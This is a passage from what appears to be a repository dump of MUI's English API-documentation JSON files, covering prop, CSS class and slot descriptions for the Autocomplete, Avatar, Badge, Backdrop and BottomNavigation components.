\"<code>position=\\\"static\\\"</code>\"\n    },\n    \"positionSticky\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>position=\\\"sticky\\\"</code>\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/autocomplete/autocomplete.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"autoComplete\": {\n      \"description\": \"If <code>true</code>, the portion of the selected suggestion that the user hasn&#39;t typed, known as the completion string, appears inline after the input cursor in the textbox. The inline completion string is visually highlighted and has a selected state.\"\n    },\n    \"autoHighlight\": {\n      \"description\": \"If <code>true</code>, the first option is automatically highlighted.\"\n    },\n    \"autoSelect\": {\n      \"description\": \"If <code>true</code>, the selected option becomes the value of the input when the Autocomplete loses focus unless the user chooses a different option or changes the character string in the input.<br>When using the <code>freeSolo</code> mode, the typed value will be the input value if the Autocomplete loses focus without highlighting an option.\"\n    },\n    \"blurOnSelect\": {\n      \"description\": \"<p>Control if the input should be blurred when an option is selected:</p>\\n<ul>\\n<li><code>false</code> the input is not blurred.</li>\\n<li><code>true</code> the input is always blurred.</li>\\n<li><code>touch</code> the input is blurred after a touch event.</li>\\n<li><code>mouse</code> the input is blurred after a mouse event.</li>\\n</ul>\\n\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"clearIcon\": { \"description\": \"The icon to display in place of the default clear icon.\" },\n    \"clearOnBlur\": {\n      \"description\": \"If <code>true</code>, the input&#39;s text is cleared on blur if no value is selected.<br>Set it to <code>true</code> if you want to help the user enter a new value. Set it to <code>false</code> if you want to help the user resume their search.\"\n    },\n    \"clearOnEscape\": {\n      \"description\": \"If <code>true</code>, clear all values when the user presses escape and the popup is closed.\"\n    },\n    \"clearText\": {\n      \"description\": \"Override the default text for the <em>clear</em> icon button.<br>For localization purposes, you can use the provided <a href=\\\"https://mui.com/material-ui/guides/localization/\\\">translations</a>.\"\n    },\n    \"closeText\": {\n      \"description\": \"Override the default text for the <em>close popup</em> icon button.<br>For localization purposes, you can use the provided <a href=\\\"https://mui.com/material-ui/guides/localization/\\\">translations</a>.\"\n    },\n    \"defaultValue\": {\n      \"description\": \"The default value. Use when the component is not controlled.\"\n    },\n    \"disableClearable\": { \"description\": \"If <code>true</code>, the input can&#39;t be cleared.\" },\n    \"disableCloseOnSelect\": {\n      \"description\": \"If <code>true</code>, the popup won&#39;t close when a value is selected.\"\n    },\n    \"disabled\": { \"description\": \"If <code>true</code>, the component is disabled.\" },\n    \"disabledItemsFocusable\": {\n      \"description\": \"If <code>true</code>, will allow focus on disabled items.\"\n    },\n    \"disableListWrap\": {\n      \"description\": \"If <code>true</code>, the list box in the popup will not wrap focus.\"\n    },\n    \"disablePortal\": {\n      \"description\": \"If <code>true</code>, the <code>Popper</code> content will be under the DOM hierarchy of the parent component.\"\n    },\n    \"filterOptions\": {\n      \"description\": \"A function that determines the filtered options to be rendered on search.\",\n      \"typeDescriptions\": {\n        \"options\": { \"name\": \"options\", \"description\": \"The options to render.\" },\n        \"state\": { \"name\": \"state\", \"description\": \"The state of the component.\" }\n      }\n    },\n    \"filterSelectedOptions\": {\n      \"description\": \"If <code>true</code>, hide the selected options from the list box.\"\n    },\n    \"forcePopupIcon\": { \"description\": \"Force the visibility display of the popup icon.\" },\n    \"freeSolo\": {\n      \"description\": \"If <code>true</code>, the Autocomplete is free solo, meaning that the user input is not bound to provided options.\"\n    },\n    \"fullWidth\": {\n      \"description\": \"If <code>true</code>, the input will take up the full width of its container.\"\n    },\n    \"getLimitTagsText\": {\n      \"description\": \"The label to display when the tags are truncated (<code>limitTags</code>).\",\n      \"typeDescriptions\": {\n        \"more\": { \"name\": \"more\", \"description\": \"The number of truncated tags.\" }\n      }\n    },\n    \"getOptionDisabled\": {\n      \"description\": \"Used to determine the disabled state for a given option.\",\n      \"typeDescriptions\": {\n        \"option\": {\n          \"name\": \"option\",\n          \"description\": \"The option to test.\",\n          \"argType\": \"Value\",\n          \"argTypeDescription\": \"The option shape. Will be the same shape as an item of the options.\"\n        }\n      }\n    },\n    \"getOptionKey\": {\n      \"description\": \"Used to determine the key for a given option. This can be useful when the labels of options are not unique (since labels are used as keys by default).\",\n      \"typeDescriptions\": {\n        \"option\": { \"name\": \"option\", \"description\": \"The option to get the key for.\" }\n      }\n    },\n    \"getOptionLabel\": {\n      \"description\": \"Used to determine the string value for a given option. It&#39;s used to fill the input (and the list box options if <code>renderOption</code> is not provided).<br>If used in free solo mode, it must accept both the type of the options and a string.\"\n    },\n    \"groupBy\": {\n      \"description\": \"If provided, the options will be grouped under the returned string. The groupBy value is also used as the text for group headings when <code>renderGroup</code> is not provided.\",\n      \"typeDescriptions\": {\n        \"option\": { \"name\": \"option\", \"description\": \"The Autocomplete option.\" }\n      }\n    },\n    \"handleHomeEndKeys\": {\n      \"description\": \"If <code>true</code>, the component handles the &quot;Home&quot; and &quot;End&quot; keys when the popup is open. It should move focus to the first option and last option, respectively.\"\n    },\n    \"id\": {\n      \"description\": \"This prop is used to help implement the accessibility logic. If you don&#39;t provide an id it will fall back to a randomly generated one.\"\n    },\n    \"includeInputInList\": {\n      \"description\": \"If <code>true</code>, the highlight can move to the input.\"\n    },\n    \"inputValue\": { \"description\": \"The input value.\" },\n    \"isOptionEqualToValue\": {\n      \"description\": \"Used to determine if the option represents the given value. Uses strict equality by default. ⚠️ Both arguments need to be handled, an option can only match with one value.\",\n      \"typeDescriptions\": {\n        \"option\": { \"name\": \"option\", \"description\": \"The option to test.\" },\n        \"value\": { \"name\": \"value\", \"description\": \"The value to test against.\" }\n      }\n    },\n    \"limitTags\": {\n      \"description\": \"The maximum number of tags that will be visible when not focused. Set <code>-1</code> to disable the limit.\"\n    },\n    \"loading\": {\n      \"description\": \"If <code>true</code>, the component is in a loading state. This shows the <code>loadingText</code> in place of suggestions (only if there are no suggestions to show, for example <code>options</code> are empty).\"\n    },\n    \"loadingText\": {\n      \"description\": \"Text to display when in a loading state.<br>For localization purposes, you can use the provided <a href=\\\"https://mui.com/material-ui/guides/localization/\\\">translations</a>.\"\n    },\n    \"multiple\": {\n      \"description\": \"If <code>true</code>, <code>value</code> must be an array and the menu will support multiple selections.\"\n    },\n    \"noOptionsText\": {\n      \"description\": \"Text to display when there are no options.<br>For localization purposes, you can use the provided <a href=\\\"https://mui.com/material-ui/guides/localization/\\\">translations</a>.\"\n    },\n    \"onChange\": {\n      \"description\": \"Callback fired when the value changes.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"value\": { \"name\": \"value\", \"description\": \"The new value of the component.\" },\n        \"reason\": {\n          \"name\": \"reason\",\n          \"description\": \"One of &quot;createOption&quot;, &quot;selectOption&quot;, &quot;removeOption&quot;, &quot;blur&quot; or &quot;clear&quot;.\"\n        }\n      }\n    },\n    \"onClose\": {\n      \"description\": \"Callback fired when the popup requests to be closed. Use in controlled mode (see open).\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"reason\": {\n          \"name\": \"reason\",\n          \"description\": \"Can be: <code>&quot;toggleInput&quot;</code>, <code>&quot;escape&quot;</code>, <code>&quot;selectOption&quot;</code>, <code>&quot;removeOption&quot;</code>, <code>&quot;blur&quot;</code>.\"\n        }\n      }\n    },\n    \"onHighlightChange\": {\n      \"description\": \"Callback fired when the highlight option changes.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"option\": { \"name\": \"option\", \"description\": \"The highlighted option.\" },\n        \"reason\": {\n          \"name\": \"reason\",\n          \"description\": \"Can be: <code>&quot;keyboard&quot;</code>, <code>&quot;mouse&quot;</code>, <code>&quot;touch&quot;</code>.\"\n        }\n      }\n    },\n    \"onInputChange\": {\n      \"description\": \"Callback fired when the input value changes.\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" },\n        \"value\": { \"name\": \"value\", \"description\": \"The new value of the text input.\" },\n        \"reason\": {\n          \"name\": \"reason\",\n          \"description\": \"Can be: <code>&quot;input&quot;</code> (user input), <code>&quot;reset&quot;</code> (programmatic change), <code>&quot;clear&quot;</code>, <code>&quot;blur&quot;</code>, <code>&quot;selectOption&quot;</code>, <code>&quot;removeOption&quot;</code>\"\n        }\n      }\n    },\n    \"onOpen\": {\n      \"description\": \"Callback fired when the popup requests to be opened. Use in controlled mode (see open).\",\n      \"typeDescriptions\": {\n        \"event\": { \"name\": \"event\", \"description\": \"The event source of the callback.\" }\n      }\n    },\n    \"open\": { \"description\": \"If <code>true</code>, the component is shown.\" },\n    \"openOnFocus\": { \"description\": \"If <code>true</code>, the popup will open on input focus.\" },\n    \"openText\": {\n      \"description\": \"Override the default text for the <em>open popup</em> icon button.<br>For localization purposes, you can use the provided <a href=\\\"https://mui.com/material-ui/guides/localization/\\\">translations</a>.\"\n    },\n    \"options\": { \"description\": \"A list of options that will be shown in the Autocomplete.\" },\n    \"popupIcon\": { \"description\": \"The icon to display in place of the default popup icon.\" },\n    \"readOnly\": {\n      \"description\": \"If <code>true</code>, the component becomes readonly. It is also supported for multiple tags where the tag cannot be deleted.\"\n    },\n    \"renderGroup\": {\n      \"description\": \"Render the group.\",\n      \"typeDescriptions\": { \"params\": { \"name\": \"params\", \"description\": \"The group to render.\" } }\n    },\n    \"renderInput\": {\n      \"description\": \"Render the input.<br><strong>Note:</strong> The <code>renderInput</code> prop must return a <code>TextField</code> component or a compatible custom component that correctly forwards <code>InputProps.ref</code> and spreads <code>inputProps</code>. This ensures proper integration with the Autocomplete&#39;s internal logic (e.g., focus management and keyboard navigation).<br>Avoid using components like <code>DatePicker</code> or <code>Select</code> directly, as they may not forward the required props, leading to runtime errors or unexpected behavior.\"\n    },\n    \"renderOption\": {\n      \"description\": \"Render the option, use <code>getOptionLabel</code> by default.\",\n      \"typeDescriptions\": {\n        \"props\": { \"name\": \"props\", \"description\": \"The props to apply on the li element.\" },\n        \"option\": { \"name\": \"option\", \"description\": \"The option to render.\" },\n        \"state\": { \"name\": \"state\", \"description\": \"The state of each option.\" },\n        \"ownerState\": {\n          \"name\": \"ownerState\",\n          \"description\": \"The state of the Autocomplete component.\"\n        }\n      }\n    },\n    \"renderValue\": {\n      \"description\": \"Renders the selected value(s) as rich content in the input for both single and multiple selections.\",\n      \"typeDescriptions\": {\n        \"value\": {\n          \"name\": \"value\",\n          \"description\": \"The <code>value</code> provided to the component.\"\n        },\n        \"getItemProps\": { \"name\": \"getItemProps\", \"description\": \"The value item props.\" },\n        \"ownerState\": {\n          \"name\": \"ownerState\",\n          \"description\": \"The state of the Autocomplete component.\"\n        }\n      }\n    },\n    \"selectOnFocus\": {\n      \"description\": \"If <code>true</code>, the input&#39;s text is selected on focus. It helps the user clear the selected value.\"\n    },\n    \"size\": { \"description\": \"The size of the component.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"value\": {\n      \"description\": \"The value of the autocomplete.<br>The value must have reference equality with the option in order to be selected. You can customize the equality behavior with the <code>isOptionEqualToValue</code> prop.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"endAdornment\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the endAdornment element\"\n    },\n    \"expanded\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"the listbox is displayed\"\n    },\n    \"focused\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"focused\"\n    },\n    \"focusVisible\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the option elements\",\n      \"conditions\": \"they are keyboard focused\"\n    },\n    \"fullWidth\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>fullWidth={true}</code>\"\n    },\n    \"groupLabel\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the group&#39;s label elements\"\n    },\n    \"groupUl\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the group&#39;s ul elements\"\n    },\n    \"hasClearIcon\": { \"description\": \"Styles applied when the clear icon is rendered.\" },\n    \"hasPopupIcon\": { \"description\": \"Styles applied when the popup icon is rendered.\" },\n    \"input\": { \"description\": \"Styles applied to {{nodeName}}.\", \"nodeName\": \"the input element\" },\n    \"inputFocused\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the input element\",\n      \"conditions\": \"the input is focused\"\n    },\n    \"inputRoot\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the Input element\"\n    },\n    \"loading\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the loading wrapper\"\n    },\n    \"noOptions\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the no option wrapper\"\n    },\n    \"option\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the option elements\"\n    },\n    \"popperDisablePortal\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the popper element\",\n      \"conditions\": \"<code>disablePortal={true}</code>\"\n    },\n    \"popupIndicatorOpen\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the popup indicator\",\n      \"conditions\": \"the popup is open\"\n    },\n    \"tag\": {\n      \"description\": \"Styles applied to {{nodeName}}, {{conditions}}.\",\n      \"nodeName\": \"the tag elements\",\n      \"conditions\": \"for example the chips\"\n    },\n    \"tagSizeMedium\": {\n      \"description\": \"Styles applied to {{nodeName}}, {{conditions}}.\",\n      \"nodeName\": \"the tag elements\",\n      \"conditions\": \"for example the chips if <code>size=\\\"medium\\\"</code>\"\n    },\n    \"tagSizeSmall\": {\n      \"description\": \"Styles applied to {{nodeName}}, {{conditions}}.\",\n      \"nodeName\": \"the tag elements\",\n      \"conditions\": \"for example the chips if <code>size=\\\"small\\\"</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"clearIndicator\": \"The component used to render the clear indicator element.\",\n    \"listbox\": \"The component used to render the listbox.\",\n    \"paper\": \"The component used to render the body of the popup.\",\n    \"popper\": \"The component used to position the popup.\",\n    \"popupIndicator\": \"The component used to render the popup indicator element.\",\n    \"root\": \"The component that renders the root.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/avatar/avatar.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"alt\": {\n      \"description\": \"Used in combination with <code>src</code> or <code>srcSet</code> to provide an alt attribute for the rendered <code>img</code> element.\"\n    },\n    \"children\": {\n      \"description\": \"Used to render icon or text elements inside the Avatar if <code>src</code> is not set. This can be an element, or just a string.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"sizes\": {\n      \"description\": \"The <code>sizes</code> attribute for the <code>img</code> element.\"\n    },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"src\": { \"description\": \"The <code>src</code> attribute for the <code>img</code> element.\" },\n    \"srcSet\": {\n      \"description\": \"The <code>srcSet</code> attribute for the <code>img</code> element. Use this attribute for responsive image display.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"The shape of the avatar.\" }\n  },\n  \"classDescriptions\": {\n    \"circular\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"circular\\\"</code>\"\n    },\n    \"colorDefault\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"not <code>src</code> or <code>srcSet</code>\"\n    },\n    \"rounded\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"rounded\\\"</code>\"\n    },\n    \"square\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>variant=\\\"square\\\"</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"fallback\": \"The component that renders the fallback slot.\",\n    \"img\": \"The component that renders the img slot.\",\n    \"root\": \"The component that renders the root slot.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/avatar-group/avatar-group.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The avatars to stack.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"max\": { \"description\": \"Max avatars to show before +x.\" },\n    \"renderSurplus\": {\n      \"description\": \"custom renderer of extraAvatars\",\n      \"typeDescriptions\": {\n        \"surplus\": { \"name\": \"surplus\", \"description\": \"number of extra avatars\" },\n        \"React.ReactNode\": { \"name\": \"React.ReactNode\", \"description\": \"custom element to display\" }\n      }\n    },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"spacing\": { \"description\": \"Spacing between avatars.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"total\": {\n      \"description\": \"The total number of avatars. Used for calculating the number of extra avatars.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"avatar\": {\n      \"description\": \"Styles applied to {{nodeName}}.\",\n      \"nodeName\": \"the avatar elements\"\n    },\n    \"root\": { \"description\": \"Styles applied to the root element.\" }\n  },\n  \"slotDescriptions\": { \"surplus\": \"\" }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/backdrop/backdrop.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"invisible\": {\n      \"description\": \"If <code>true</code>, the backdrop is invisible. It can be used when rendering a popover or a custom select component.\"\n    },\n    \"open\": { \"description\": \"If <code>true</code>, the component is shown.\" },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"transitionDuration\": {\n      \"description\": \"The duration for the transition, in milliseconds. You may specify a single timeout for all transitions, or individually with an object.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"invisible\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>invisible={true}</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"root\": \"The component that renders the root.\",\n    \"transition\": \"The component that renders the transition. <a href=\\\"https://mui.com/material-ui/transitions/#transitioncomponent-prop\\\">Follow this guide</a> to learn more about the requirements for this component.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/badge/badge.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"anchorOrigin\": { \"description\": \"The anchor of the badge.\" },\n    \"badgeContent\": { \"description\": \"The content rendered within the badge.\" },\n    \"children\": { \"description\": \"The badge will be added relative to this node.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"color\": {\n      \"description\": \"The color of the component. It supports both default and custom theme colors, which can be added as shown in the <a href=\\\"https://mui.com/material-ui/customization/palette/#custom-colors\\\">palette customization guide</a>.\"\n    },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"invisible\": { \"description\": \"If <code>true</code>, the badge is invisible.\" },\n    \"max\": { \"description\": \"Max count to show.\" },\n    \"overlap\": { \"description\": \"Wrapped shape the badge should overlap.\" },\n    \"showZero\": {\n      \"description\": \"Controls whether the badge is hidden when <code>badgeContent</code> is zero.\"\n    },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"variant\": { \"description\": \"The variant to use.\" }\n  },\n  \"classDescriptions\": {\n    \"anchorOriginBottomLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'bottom', 'left' }}</code>\"\n    },\n    \"anchorOriginBottomLeftCircular\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'bottom', 'left' }} overlap=\\\"circular\\\"</code>\"\n    },\n    \"anchorOriginBottomLeftRectangular\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'bottom', 'left' }} overlap=\\\"rectangular\\\"</code>\"\n    },\n    \"anchorOriginBottomRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'bottom', 'right' }}</code>\"\n    },\n    \"anchorOriginBottomRightCircular\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'bottom', 'right' }} overlap=\\\"circular\\\"</code>\"\n    },\n    \"anchorOriginBottomRightRectangular\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'bottom', 'right' }} overlap=\\\"rectangular\\\"</code>\"\n    },\n    \"anchorOriginTopLeft\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'top', 'left' }}</code>\"\n    },\n    \"anchorOriginTopLeftCircular\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'top', 'left' }} overlap=\\\"circular\\\"</code>\"\n    },\n    \"anchorOriginTopLeftRectangular\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'top', 'left' }} overlap=\\\"rectangular\\\"</code>\"\n    },\n    \"anchorOriginTopRight\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'top', 'right' }}</code>\"\n    },\n    \"anchorOriginTopRightCircular\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'top', 'right' }} overlap=\\\"circular\\\"</code>\"\n    },\n    \"anchorOriginTopRightRectangular\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>anchorOrigin={{ 'top', 'right' }} overlap=\\\"rectangular\\\"</code>\"\n    },\n    \"colorError\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>color=\\\"error\\\"</code>\"\n    },\n    \"colorInfo\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>color=\\\"info\\\"</code>\"\n    },\n    \"colorPrimary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>color=\\\"primary\\\"</code>\"\n    },\n    \"colorSecondary\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>color=\\\"secondary\\\"</code>\"\n    },\n    \"colorSuccess\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>color=\\\"success\\\"</code>\"\n    },\n    \"colorWarning\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>color=\\\"warning\\\"</code>\"\n    },\n    \"dot\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>variant=\\\"dot\\\"</code>\"\n    },\n    \"invisible\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>invisible={true}</code>\"\n    },\n    \"overlapCircular\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>overlap=\\\"circular\\\"</code>\"\n    },\n    \"overlapRectangular\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>overlap=\\\"rectangular\\\"</code>\"\n    },\n    \"standard\": {\n      \"description\": \"Styles applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the badge <code>span</code> element\",\n      \"conditions\": \"<code>variant=\\\"standard\\\"</code>\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"badge\": \"The component that renders the badge.\",\n    \"root\": \"The component that renders the root.\"\n  }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/bottom-navigation/bottom-navigation.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": { \"description\": \"The content of the component.\" },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"component\": {\n      \"description\": \"The component used for the root node. Either a string to use a HTML element or a component.\"\n    },\n    \"onChange\": {\n      \"description\": \"Callback fired when the value changes.\",\n      \"typeDescriptions\": {\n        \"event\": {\n          \"name\": \"event\",\n          \"description\": \"The event source of the callback. <strong>Warning</strong>: This is a generic event not a change event.\"\n        },\n        \"value\": { \"name\": \"value\", \"description\": \"We default to the index of the child.\" }\n      }\n    },\n    \"showLabels\": {\n      \"description\": \"If <code>true</code>, all <code>BottomNavigationAction</code>s will show their labels. By default, only the selected <code>BottomNavigationAction</code> will show its label.\"\n    },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"value\": {\n      \"description\": \"The value of the currently selected <code>BottomNavigationAction</code>.\"\n    }\n  },\n  \"classDescriptions\": { \"root\": { \"description\": \"Styles applied to the root element.\" } }\n}\n"
  },
  {
    "path": "docs/translations/api-docs/bottom-navigation-action/bottom-navigation-action.json",
    "content": "{\n  \"componentDescription\": \"\",\n  \"propDescriptions\": {\n    \"children\": {\n      \"description\": \"This prop isn&#39;t supported. Use the <code>component</code> prop if you need to change the children structure.\"\n    },\n    \"classes\": { \"description\": \"Override or extend the styles applied to the component.\" },\n    \"icon\": { \"description\": \"The icon to display.\" },\n    \"label\": { \"description\": \"The label element.\" },\n    \"showLabel\": {\n      \"description\": \"If <code>true</code>, the <code>BottomNavigationAction</code> will show its label. By default, only the selected <code>BottomNavigationAction</code> inside <code>BottomNavigation</code> will show its label.<br>The prop defaults to the value (<code>false</code>) inherited from the parent BottomNavigation component.\"\n    },\n    \"slotProps\": { \"description\": \"The props used for each slot inside.\" },\n    \"slots\": { \"description\": \"The components used for each slot inside.\" },\n    \"sx\": {\n      \"description\": \"The system prop that allows defining system overrides as well as additional CSS styles.\"\n    },\n    \"value\": {\n      \"description\": \"You can provide your own value. Otherwise, we fallback to the child position index.\"\n    }\n  },\n  \"classDescriptions\": {\n    \"iconOnly\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"<code>showLabel={false}</code> and not selected\"\n    },\n    \"selected\": {\n      \"description\": \"State class applied to {{nodeName}} if {{conditions}}.\",\n      \"nodeName\": \"the root element\",\n      \"conditions\": \"selected\"\n    }\n  },\n  \"slotDescriptions\": {\n    \"label\": \"The component that renders the label.\",\n    \"root\": \"The component that renders the 